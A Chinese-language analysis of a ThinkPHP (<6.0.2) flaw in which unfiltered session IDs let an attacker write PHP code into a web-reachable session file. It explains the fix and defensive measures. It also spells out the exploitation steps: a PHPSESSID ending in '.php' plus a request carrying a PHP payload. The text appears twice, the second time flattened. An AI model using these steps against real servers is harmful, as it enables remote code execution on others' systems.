Thinkphp < 6.0.2 session id未作过滤导致getshell
字数 1046 2025-08-26 22:11:56

ThinkPHP < 6.0.2 Session ID未过滤导致Getshell漏洞分析

漏洞概述

ThinkPHP框架在6.0.2版本之前存在一个Session ID未过滤的安全隐患,攻击者可以通过控制Session ID的值,将恶意代码写入.php文件中,从而实现远程代码执行(Getshell)。

漏洞影响版本

ThinkPHP < 6.0.2

漏洞原理分析

1. Session ID处理流程

  1. Session ID设置:在think/middleware/SessionInit.php中,框架从Cookie中获取PHPSESSID值

    $sessionId = $request->cookie($cookieName); // 默认cookieName为PHPSESSID
    $this->session->setId($sessionId);
    
  2. Session保存机制

    • 框架使用Session ID作为文件名的一部分保存Session数据
    • think/session/Store.php中:
      $sessionId = $this->getId();
      $this->handler->write($sessionId, $data);
      
  3. 文件写入过程

    • think/session/driver/File.php中:
      protected function getFileName(string $name): string {
          return $this->config['path'] . 'sess_' . $name;
      }
      
      protected function writeFile($path, $content): bool {
          return (bool) file_put_contents($path, $content, LOCK_EX);
      }
      

2. 漏洞关键点

  • 未过滤的Session ID:框架未对Session ID进行有效过滤,允许包含特殊字符(如.
  • 直接拼接文件名:Session ID直接拼接到文件路径中,无任何安全处理
  • 文件内容可控:通过设置Session变量,可以控制写入文件的内容

漏洞利用步骤

1. 构造恶意请求

  1. 设置Cookie中的PHPSESSID为恶意值:

    PHPSESSID=1234567890123456789012345678.php
    
  2. 访问存在漏洞的控制器方法(示例):

    public function testsession2() {
        $username = Request::get('name');
        Session::set('username', $username);
        return 'hi';
    }
    
  3. 传递恶意参数:

    GET /index/testsession2?name=<?php phpinfo();?>
    

2. 结果验证

Session文件将被写入:

/runtime/session/sess_1234567890123456789012345678.php

访问该文件即可执行其中的PHP代码。

漏洞修复方案

ThinkPHP 6.0.2中修复了此漏洞,主要修改:

  1. think/session/Store.php中添加了对Session ID的校验:

    public function setId(string $id): void {
        if (!ctype_alnum($id)) {
            throw new \InvalidArgumentException('session id not alnum');
        }
        $this->id = $id;
    }
    
  2. 使用ctype_alnum()函数确保Session ID只包含字母和数字

安全建议

  1. 及时升级到ThinkPHP 6.0.2或更高版本
  2. 如果无法立即升级,可手动添加Session ID过滤逻辑
  3. 避免将用户可控数据直接用于文件操作
  4. 设置Session文件目录不可通过Web访问

漏洞利用条件

  1. 应用程序使用了Session功能
  2. 存在将用户输入存入Session的操作
  3. Session存储驱动为File(默认配置)

防御措施

  1. 输入验证:对所有用户输入进行严格验证
  2. 输出编码:对输出到文件系统的内容进行适当处理
  3. 最小权限原则:限制Web服务器对文件系统的写入权限
  4. 安全配置:禁用危险函数,如file_put_contents等(如可能)
ThinkPHP < 6.0.2 Session ID未过滤导致Getshell漏洞分析 漏洞概述 ThinkPHP框架在6.0.2版本之前存在一个Session ID未过滤的安全隐患,攻击者可以通过控制Session ID的值,将恶意代码写入.php文件中,从而实现远程代码执行(Getshell)。 漏洞影响版本 ThinkPHP < 6.0.2 漏洞原理分析 1. Session ID处理流程 Session ID设置 :在 think/middleware/SessionInit.php 中,框架从Cookie中获取PHPSESSID值 Session保存机制 : 框架使用Session ID作为文件名的一部分保存Session数据 在 think/session/Store.php 中: 文件写入过程 : 在 think/session/driver/File.php 中: 2. 漏洞关键点 未过滤的Session ID :框架未对Session ID进行有效过滤,允许包含特殊字符(如 . ) 直接拼接文件名 :Session ID直接拼接到文件路径中,无任何安全处理 文件内容可控 :通过设置Session变量,可以控制写入文件的内容 漏洞利用步骤 1. 构造恶意请求 设置Cookie中的PHPSESSID为恶意值: 访问存在漏洞的控制器方法(示例): 传递恶意参数: 2. 结果验证 Session文件将被写入: 访问该文件即可执行其中的PHP代码。 漏洞修复方案 ThinkPHP 6.0.2中修复了此漏洞,主要修改: 在 think/session/Store.php 中添加了对Session ID的校验: 使用 ctype_alnum() 函数确保Session ID只包含字母和数字 安全建议 及时升级到ThinkPHP 6.0.2或更高版本 如果无法立即升级,可手动添加Session ID过滤逻辑 避免将用户可控数据直接用于文件操作 设置Session文件目录不可通过Web访问 漏洞利用条件 应用程序使用了Session功能 存在将用户输入存入Session的操作 Session存储驱动为File(默认配置) 防御措施 输入验证 :对所有用户输入进行严格验证 输出编码 :对输出到文件系统的内容进行适当处理 最小权限原则 :限制Web服务器对文件系统的写入权限 安全配置 :禁用危险函数,如 file_put_contents 等(如可能)